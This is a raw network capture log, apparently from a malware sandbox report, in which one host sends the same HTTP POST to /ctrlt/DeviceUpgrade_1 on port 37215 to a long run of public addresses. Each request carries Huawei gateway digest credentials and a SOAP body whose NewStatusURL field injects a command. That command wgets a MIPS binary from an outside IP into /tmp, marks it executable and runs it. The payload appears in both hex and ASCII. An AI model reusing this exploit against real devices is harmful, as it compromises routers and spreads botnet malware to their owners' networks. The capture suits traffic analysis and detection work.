Jun 1, 2024 18:15:54.256242037 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.23	37590	197.1.219.71	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256278038 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.23	32974	41.13.222.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256310940 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.23	51756	156.196.70.199	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256369114 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.23	36614	156.158.95.158	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256392956 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.23	44020	197.204.247.193	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256433964 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.23	34852	41.229.19.154	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256496906 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.23	55302	197.177.223.221	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256516933 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.23	51224	41.200.45.182	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256553888 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.23	41396	197.204.51.155	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256596088 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.23	37794	41.88.60.138	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.256630898 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 